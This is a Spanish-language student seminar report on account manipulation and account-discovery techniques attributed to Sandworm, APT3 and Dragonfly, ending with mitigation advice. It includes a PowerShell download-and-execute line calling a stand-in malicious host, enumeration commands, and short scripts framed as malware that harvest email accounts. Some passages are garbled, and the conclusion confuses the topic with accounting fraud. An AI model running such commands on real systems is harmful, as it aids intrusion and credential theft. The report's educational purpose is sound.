UNIVERSIDAD DE LAS CIENCIAS INFORMÁTICAS

FACULTAD 2

Manipulación de cuentas

Seminario de Protección contra Programas Malignoss

Grupo:2304

Integrantes:

Erick Carlos Miralles Sosa:erickcms@estudiantes.uci.cu
Marcos Daniel Artiles Delgado:marcosdad@estudiantes.uci.cu
Sabrina D'Lory Ramos Barreto:sabrinadlrb@estudiantes.uci.cu
Keylan Valdés García:keylanvg@estudiantes.uci.cu
Sheila Hernández Falcón:sheilahf@estudiantes.uci.cu

Introducción

La manipulación de cuentas consiste en cualquier acción que preserve el acceso de una fuente no autorizada a una cuenta comprometida,tanto modificando credenciales o permisos de grupos cada año este tipo de ataques riesgo puede causar multas,sanciones y pérdida de credibilidad para la institución que lo sufra, por la cual juega un papel fundamental tanto en entornos empresariales como en personales tomar las medidas necesarias para mitigar esas vulnerabilidades.

En esta práctica entran entran diversos grupos de ciberdelicuentes como es el caso de Lazarus Group,Dragonfly,FIN13,APT41,APT3, Sandworm Team, por solo mencionar algunos,pues lamentablemente como en las demás áreas de la ciberseguridad, cada año más cuentas sufren ataques.

Respecto a esto el equipo se plantea como objetivos descubrir:¿Qué subtécnicas se emplean en la manipulación de cuentas?,¿Cómo detectar y mitigar estos ataques?, esas son algunas de las preguntas que planeamos responder.

Desarrollo

No hay mejor manera que empezar en un informe de malware sobre manipulación de cuentas que hablando de Sandowrn(reloj de arena) , pues estos desde hace unos años son reconocidos como el grupo de ciberdelincuentes más peligrosos en el mundo.Vinculado según algunas fuentes con el gobierno ruso especícamente con la por la Unidad Militar de guerra cibernética 74455, Directorio Principal del Alto Estado Mayor de las Fuerzas Armadas de la Federación de Rusia.

El 23 de diciembre de 2015,surgiría el primer gran ataque conocido de este grupo, dirigido a la red eléctrica de Ucrania, donde un fortuito apagón dejó a más de 230.000 personas sin electricidad en Ucrania.EL estado ucraniano no encontraba explicación alguna ante este suceso ni en la propia central ni en la red distribuidora.Logrando de esta vía el hito de provocar el primer apagón de la historia asociado a un ataque informático.

"Se trataba de un exploit de día cero, con spear phishing que se ocultaba en correos electrónicos con archivos de Powerpoint muy elaborados y que usaba la propia guerra del Donbás como gancho, mencionando incluso listas de personas perseguidas en la contienda. Era una acción de ingeniería social muy elaborada, no el tradicional timo del príncipe nigeriano", admite Rober Lipovsky, investigador de ciberinteligencia en ESET. Una vez obtenidas sus credenciales, accedían mediante una puerta trasera al equipo y podían operar en remoto en los propios ordenadores, sin que el usuario pudiera hacer nada".

Esta derivada de Sandworm no se estrenó con este apagón de casi seis horas y cuatro compañías de distribución eléctrica afectadas: su tecnología y metodología ya fue empleada por durante un ataque cibernético realizado por un grupo desconocido a Georgia en 2008 donde bloquearon el acceso a sitios del gobierno, de bancos y de la prensa de Georgia y, un mes antes del apagón, también fue encontrada una de sus patas -el componente KillDisk, que

sobreescribe información en los equipos con datos aleatorios- en varios medios de comunicación ucranianos.

Para este ataque a la red eléctrica Sandworn utilizó como subtécnica principal la "Account Discovery: Domain Account" implicando el uso de una herramienta para consultar Active Directory (AD) mediante el protocolo Protocolo ligero de acceso a directorios**(**LDAP). Esto les permitió descubrir información sobre nombres de usuario listados en AD. Algunas subtécnicas empleados pueden haber sido:

1. **Consulta a Active Directory usando LDAP**: LDAP (Lightweight Directory Access Protocol) es un protocolo de aplicación que se utiliza para acceder y mantener información en un directorio de servicio. Sandworm utilizó LDAP para realizar consultas al Active Directory, un servicio de directorio utilizado por sistemas operativos Windows para almacenar información sobre usuarios, grupos, computadoras, impresoras y otros recursos en una red. Al consultar AD, pudieron obtener una amplia gama de información, incluyendo nombres de usuario, lo que es crucial para el descubrimiento de cuentas.
2. **Descubrimiento de cuentas de dominio**: La técnica se centró específicamente en descubrir cuentas de dominio dentro de la red objetivo. Esto implica identificar y recolectar información sobre cuentas de usuario válidas dentro del dominio de la red. Esta información es valiosa para el equipo Sandworm, ya que les permite tener acceso a recursos y sistemas dentro de la red, facilitando la escalada de privilegios y el movimiento lateral dentro de la red.
3. **Uso de herramientas específicas**: Aunque los detalles específicos de la herramienta utilizada para realizar las consultas LDAP no se mencionan en las fuentes proporcionadas, es probable que Sandworm haya utilizado herramientas o scripts personalizados diseñados para automatizar este proceso y facilitar la recolección de información valiosa. Pudiendo haber empleado herramientas y comandos como:

dsquery es una herramienta de línea de comandos que permite consultar el Active Directory. A. Un ejemplo de cómo usar dsquery para listar todos los usuarios del dominio actual sería:

dsquery user -samid *

ldapsearch:poderosa para explorar el Active Directory, permite listar todos los usuarios de dominios específicos

ldapsearch -x -h dominio.com -b “dc=dominio,dc=com” “(objectClass=user)”

A partir de acá, ellos habrán ejecutados sus scripts maliciosos ya conociendo los usuarios.

Además del ya mencionado SandWorm,otro de los grupos famosos que ha usado la técnica manipulación de cuentas fue Existen varios ejemplos de programas malignos que efectúan manipulación de cuentas, incluyendo el malware Stuxnet, que se utilizó para interrumpir el programa nuclear de Irán. A continuación, se detallan estos ejemplos y se explican cómo detectar y mitigar la infección.

Ejemplos de programas malignos

- **Stuxnet**: Aparecido en 2010, fue creado por los gobiernos de EE. UU. e Israel para interrumpir el programa nuclear de Irán. Stuxnet se propagó a través de una memoria USB, apuntando a los sistemas de control industrial de Siemens para que las centrifugadoras fallaran y se autodestruyeran a velocidad récord. Se cree que Stuxnet infectó más de 20,000 equipos y arruinó una quinta parte de las centrifugadoras nucleares de Irán [12].

- **Emotet:** Botnet utilizado para robar información personal y financiera, así como para distribuir malware adicional.Forma común de Emotet para descargar y ejecutar malware:
- **Ryuk** es un ransomware que se ha utilizado para cifrar datos y exigir rescate.**,** Ejemplo de cómo Ryuk puede verificar si el sistema está infectado.**if exist C:\Windows\System32\Ryuk.dll goto infected**
- **TrickBot** es un botnet que se ha utilizado para robar información de tarjetas de crédito y realizar ataques de phishing, puede intentar descargar un archivo de la siguiente forma :

powershell.exe -nop -ep bypass -c "IEX ((New-Object System.Net.WebClient).DownloadString('https://malicious.com/trickbot.ps1'))"

-

El equipo Sandworm utilizó la subtécnica de "Account Discovery: Email Account" en sus ataques, especialmente en los dirigidos a la red eléctrica de Ucrania en 2015 y 2016, para obtener información valiosa sobre las cuentas de correo electrónico de los objetivos, siguiendo los siguientes pasos.

Identificación de credenciales de correo electrónico

El equipo Sandworm empleó malware para enumerar configuraciones de correo electrónico, incluyendo nombres de usuario y contraseñas, de la aplicación M.E.Doc(software de contabilidad y gestión de empresas desarrollado por la empresa ucraniana M.E.Doc) [1]. Siendo diseñado el malware para extraer información de inicio de sesión directamente de las aplicaciones de correo electrónico o servicios relacionados que los usuarios pueden tener instalados en sus sistemas. Esta técnica es particularmente efectiva para obtener acceso a cuentas de correo electrónico que pueden tener acceso a información adicional valiosa o proporcionar una ruta de escalada de privilegios dentro de la red objetivo.

Escalada de privilegios y acceso a recursos

Una vez que el equipo Sandworm obtuvo acceso a las cuentas de correo electrónico, pudo utilizar estas credenciales para acceder a recursos adicionales dentro de la red. Esto incluye no solo correos electrónicos personales, sino también cuentas asociadas con sistemas de control industrial o de gestión de energía, como se evidencia en los ataques a la red eléctrica de Ucrania. Al tener acceso a estas cuentas, el equipo Sandworm pudo escalar sus privilegios, moverse lateralmente a través de la red y establecer persistencia, facilitando la realización de ataques más sofisticados y dañinos [2].

Exploitación de confianza y capacidades adquiridas

El equipo Sandworm ha demostrado una habilidad notable para explotar relaciones de confianza dentro de las redes objetivo. En el contexto de los ataques a la red eléctrica de Ucrania, utilizaron conexiones de red dedicadas adquiridas de una organización víctima para ganar acceso no autorizado a una organización separada . Esta capacidad de explotar relaciones de confianza se complementa con el uso de credenciales válidas previamente adquiridas, lo que refuerza su efectividad en la manipulación de cuentas y el acceso a información y sistemas sensibles.

La forma de uso de esta subtécnica podría ser la siguiente

1. Uso de PowerShell para descubrir cuentas de correo electrónico

El malware Magic Hound ha utilizado PowerShell para descubrir cuentas de correo electrónico. Un ejemplo básico de cómo se podría usar PowerShell para obtener una lista de cuentas de correo electrónico de Exchange y Office 365 sería:

Get-GlobalAddressList

Este comando obtiene una lista global de direcciones de correo electrónico de un dominio utilizando una sesión autenticada [1].

2. Uso de LDAP para descubrir cuentas de correo electrónico

BoomBox puede ejecutar una consulta LDAP para descubrir cuentas de correo electrónico para usuarios de dominio. Aunque el comando específico no se proporciona, el siguiente comando permitiría realizar una consulta LDAP para obtener cuentas de correo electrónico:

Ldpasearch'x'h dominio.com-b "dc=dominio,dc=com""(objectClass=user)"

Este comando busca objetos de usuario en el dominio especificado, lo cual podría incluir información de correo electrónico [1].

3. Extracción de información de la libreta de direcciones de Outlook

Backdoor.Oldrea recopila información de la libreta de direcciones de Outlook. Aunque el código específico no se proporciona, los atacantes podrían utilizar herramientas o scripts personalizados para extraer esta información, posiblemente accediendo a archivos de configuración o utilizando la API de Outlook [1].

4. Uso de un módulo para raspar direcciones de correo electrónico de Outlook

Emotet ha sido observado utilizando un módulo que puede raspar direcciones de correo electrónico de Outlook. Este proceso implicaría el desarrollo de un módulo o script que interactúe con la API de Outlook o acceda a los archivos de configuración de Outlook para extraer información de las cuentas de correo electrónico [1].

5. Uso de un módulo para recopilar cuentas de correo electrónico de Microsoft Outlook y Mozilla Thunderbird

Lizar puede recopilar cuentas de correo electrónico de Microsoft Outlook y Mozilla Thunderbird. Implicaría el desarrollo de un módulo o script que

interactúe con las APIs de estos clientes de correo electrónico o acceda a sus archivos de configuración para extraer información de las cuentas

Algunos ejemplos de código de como sería el inicio de uso de esta subtécnica parte de malwares sería

Malware que utiliza PowerShell para descubrir cuentas de correo electrónico en Outlook

```
$outlook = New-Object -ComObject Outlook.Application

$namespace = $outlook.GetNameSpace("MAPI")

$accounts = $namespace.Accounts

foreach ($account in $accounts) {

    Write-Host "Account Name: $($account.DisplayName)"

    Write-Host "Email Address: $($account.SmtpAddress)"

}
```

Malware que utiliza un script de Python para extraer información de la libreta de direcciones de Thunderbird

```
import sqlite3


db_path =
"C:/Users/Usuario/AppData/Roaming/Thunderbird/Profiles/profile_
name/abook.mab"
```

```
conn = sqlite3.connect(db_path)

cursor = conn.cursor()


cursor.execute("SELECT * FROM email")

for row in cursor.fetchall():

    print("Email:", row[1])
```

Malware que utiliza un script de Bash para descubrir cuentas de correo electrónico en un sistema Linux

```
grep -r “email=” /home
```

Ejemplos de malware que han usado la técnica Account Discovery: Email Account

Backdoor.Oldrea: Este malware se ha utilizado para recopilar información de la libreta de direcciones de Outlook. Esto incluye nombres de usuario, direcciones de correo electrónico y otros detalles que pueden ser valiosos para el atacante .

BoomBox: Este malware puede ejecutar una consulta LDAP para descubrir cuentas de correo electrónico para usuarios de dominio. Esto permite al atacante identificar y recopilar información de cuentas de correo electrónico dentro de una red .

Scattered Spider: Durante el ataque C0027, Scattered Spider accedió a Azure AD para identificar direcciones de correo electrónico. Esto indica que el malware puede explotar servicios en la nube para obtener información de cuentas de correo electrónico .

Emotet: Se ha observado que Emotet ha utilizado un módulo que puede raspar direcciones de correo electrónico de Outlook. Este comportamiento es una manifestación de la capacidad del malware para explotar aplicaciones de correo electrónico para descubrir cuentas

El grupo ciberdelincuente chino APT3 es otro quién ha llevado a cabo varios ataques sofisticados y dirigidos contra organizaciones en todo el mundo. Algunos de los ataques más notables realizados por APT3 son:

1. **Operación Clandestine Wolf – Adobe Flash Zero-Day en Campaña de Phishing de APT3**: Este ataque involucró el uso de una vulnerabilidad de día cero en Adobe Flash para distribuir malware. Los atacantes utilizaron técnicas de phishing sofisticadas para engañar a los usuarios y hacer que descargaran y ejecutaran el malware [2].

1. **Threat Group-0110 Dirige ataques a Organizaciones de Fabricación y Financieras a través de Phishing**: Este grupo de amenazas se centró en organizaciones de fabricación y financieras, utilizando tácticas de phishing para comprometer sus sistemas. El objetivo de estos ataques probablemente incluyó el robo de información confidencial y la interrupción de operaciones críticas [2].

1. **Buckeye Cyberespionage Group se enfoca en Hong Kong**: Aunque este ataque no fue realizado por APT3 directamente, menciona una tendencia de grupos cibernéticos chinos como Buckeye para expandir sus operaciones desde los Estados Unidos a Hong Kong. Este cambio de enfoque refleja el alcance global de las operaciones de ciberespionaje y el interés de estos grupos en objetivos en regiones estratégicas [2].

Estos ataques muestran la capacidad de APT3 para explotar vulnerabilidades de software, utilizar técnicas de phishing sofisticadas y

dirigirse a una amplia gama de industrias. También subrayan la importancia de mantener actualizados los sistemas y aplicaciones, ya que las vulnerabilidades de software a menudo son el punto de entrada para los ataques cibernéticos.

Los ejemplos de malwares que han utilizado la subtécnica "Account Discovery: Local Account" para descubrir y recopilar información sobre cuentas de usuario locales en sistemas comprometidos son variados y muestran diferentes enfoques y herramientas utilizadas por actores cibernéticos para recopilar datos valiosos. A continuación, se presentan ejemplos de malwares específicos y comandos que podrían haber empleado para esta finalidad:

1. **LOWBALL**: Los actores explotaron una máquina con este malware para enumerar cuentas de usuario locales utilizando comandos como `net user >> %temp%\download` y `net user /domain >> %temp%\download` [1].

1. **Bazar**: Este malware puede identificar cuentas de administrador en un host infectado, lo que sugiere que también puede ser utilizado para descubrir cuentas locales [1].

1. **Fox Kitten**: Accedió a `ntuser.dat` y `UserClass.dat` en hosts comprometidos, lo que implica que puede haber utilizado estas fuentes para recopilar información sobre cuentas de usuario locales [1].

1. **GeminiDuke**: Recopila información sobre cuentas de usuario locales de la víctima, lo que indica su capacidad para descubrir y recopilar datos sobre cuentas locales [1].

1. **InvisiMole**: Tiene un comando para listar información de cuentas en la máquina de la víctima, lo que sugiere que puede ser utilizado para descubrir cuentas locales [1].

1. **OilRig**: Ejecutó comandos como `net user`, `net user /domain`, `net group "domain admins" /domain`, y `net group "Exchange Trusted Subsystem" /domain` para obtener listados de cuentas en una víctima, lo que demuestra su habilidad para recopilar información sobre cuentas locales [1].

1. **Operation CuckooBees**: Durante esta operación, los actores utilizaron el comando `net user` para recopilar información sobre cuentas, lo que muestra cómo se puede utilizar este comando para descubrir cuentas locales [1].

1. **SMOKEDHAM**: Utilizó `net.exe user` y `net.exe users` para enumerar cuentas locales en un host comprometido [1].

1. **SoreFang**: Puede recopilar nombres de usuario del sistema local a través de `net.exe user`, lo que indica su capacidad para descubrir cuentas locales [1].

1. **Woody RAT**: Puede identificar cuentas de administrador en una máquina infectada, lo que sugiere que también puede ser utilizado para descubrir cuentas locales [2].

Además de los ya mencionados otro grupo de ciberdelicuentes es el llamado DragonFly, es un grupo de ciberespionaje supuestamente vinculado al gobierno ruso,activo desde al menos 2010,vulnerando compañías de defensa,aviación,entidades del gobierno, compañías relacionadas a la industria y control de sistemas tanto de países de la Unión Europea como de Estados Unidos.Sus subtécnicas principales son Account Discovery: Domain Account y Account Manipulation,explicadas anteriormente.

Técnicas de detección y mitigación

Para evitar sufrir y recuperarse de uno de estos ataques es necesario cumplir una serie de medidas y protocolos como pueden ser

- **Monitoreo de actividad sospechosa**: Mantén un monitoreo constante de la actividad de tu red y sistemas para detectar comportamientos anormales o inusuales que puedan indicar una infección.

Esto incluye el análisis de registros, el seguimiento de conexiones de red y la revisión de la actividad de los usuarios.

- **Actualización y parcheo**: Asegúrate de que todos los sistemas y aplicaciones estén actualizados con los últimos parches de seguridad. Los programas malignos a menudo explotan vulnerabilidades conocidas en el software, por lo que mantener tu sistema actualizado es crucial para prevenir la infección.

- **Uso de software de seguridad**: Implementa soluciones de seguridad robustas, como firewalls, sistemas de detección de intrusiones (IDS) y software antivirus, para proteger tus sistemas contra amenazas. Estas herramientas pueden ayudar a detectar y bloquear intentos de infección.

- **Capacitación del personal**: Proporciona capacitación a los usuarios sobre las mejores prácticas de seguridad, como evitar hacer clic en enlaces o abrir archivos adjuntos de correos electrónicos sospechosos, y sobre cómo reconocer y reportar intentos de phishing o ataques de malware.

- **Evaluación regular de la seguridad**: Realiza evaluaciones de seguridad regulares para identificar y abordar posibles vulnerabilidades en tu red y sistemas. Esto puede incluir pruebas de penetración y auditorías de seguridad.

- Desarrolla un plan de respuesta a incidentes de seguridad que defina los pasos a seguir en caso de una infección. Esto incluye la identificación del incidente, la contención de la amenaza, la erradicación del malware, la recuperación de los sistemas afectados y la revisión post-incidente para prevenir futuros incidentes.

Conclusiones

Después del estudio, análisis sobre los ataques informáticos especialmente de la manipulación de cuentas pudimos arribar a las siguientes conclusiones:

- La manipulación de cuentas es una práctica ilegal que pone en peligro la integridad y transparencia de la información financiera de una empresa.

- Algunos principales grupos ciberdelicuentes en los últimos años son Sandworm Team,APT3 y DragonFly

- Es esencial contar con medidas sólidas de control interno, auditorías independientes y profesionales éticos y responsables que se encarguen de elaborar y revisar la información de manera transparente. Asimismo, es crucial que las autoridades regulatorias estén atentas a cualquier indicio de manipulación de cuentas y tomen acción de manera pronta y efectiva para sancionar a los infractores.

Referencias Bibliográficas